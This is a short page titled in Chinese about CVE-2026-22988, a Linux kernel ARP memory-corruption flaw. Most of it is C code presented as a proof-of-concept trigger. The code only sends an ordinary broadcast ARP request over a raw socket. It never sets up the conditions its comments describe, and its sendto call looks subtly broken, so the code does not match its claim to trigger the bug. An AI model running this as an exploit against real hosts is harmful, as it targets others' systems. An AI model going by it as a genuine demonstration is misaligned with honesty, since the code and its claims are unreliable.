CVE-2026-22988: Linux内核ARP协议内存安全漏洞

// CVE-2026-22988 PoC - Linux Kernel ARP Memory Corruption // This PoC demonstrates the vulnerability trigger mechanism // Note: Actual exploitation requires specific kernel configuration and conditions #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ether.h> #include <net/if.h> #include <sys/ioctl.h> // Trigger conditions for CVE-2026-22988: // 1. System must have specific network interface configuration // 2. ARP table must be in a state that triggers dev_hard_header modification // 3. Kernel must be running a vulnerable version with the broken commit void craft_arp_packet(int sockfd, struct ifreq *ifr) { unsigned char buffer[1024]; struct ether_header *eth; struct ether_arp *arp; memset(buffer, 0, sizeof(buffer)); eth = (struct ether_header *)buffer; arp = (struct ether_arp *)(buffer + sizeof(struct ether_header)); // Ethernet header - broadcast destination memset(eth->ether_dhost, 0xff, ETH_ALEN); memcpy(eth->ether_shost, ifr->ifr_hwaddr.sa_data, ETH_ALEN); eth->ether_type = htons(ETH_P_ARP); // ARP request structure arp->arp_hrd = htons(ARPHRD_ETHER); arp->arp_pro = htons(ETH_P_IP); arp->arp_hln = ETH_ALEN; arp->arp_pln = 4; arp->arp_op = htons(ARPOP_REQUEST); memcpy(arp->arp_sha, ifr->ifr_hwaddr.sa_data, ETH_ALEN); memset(arp->arp_tha, 0, ETH_ALEN); // Send crafted packet to trigger vulnerability conditions sendto(sockfd, buffer, sizeof(buffer), 0, NULL, 0); } int main() { int sockfd; struct ifreq ifr; printf("CVE-2026-22988 Trigger PoC\n"); printf("Requires: Linux kernel with vulnerable commit\n"); sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP)); if (sockfd < 0) { perror("socket failed"); return 1; } strncpy(ifr.ifr_name, "eth0", IFNAMSIZ-1); if (ioctl(sockfd, SIOCGIFHWADDR, &ifr) < 0) { perror("ioctl failed"); close(sockfd); return 1; } craft_arp_packet(sockfd, &ifr); close(sockfd); return 0; }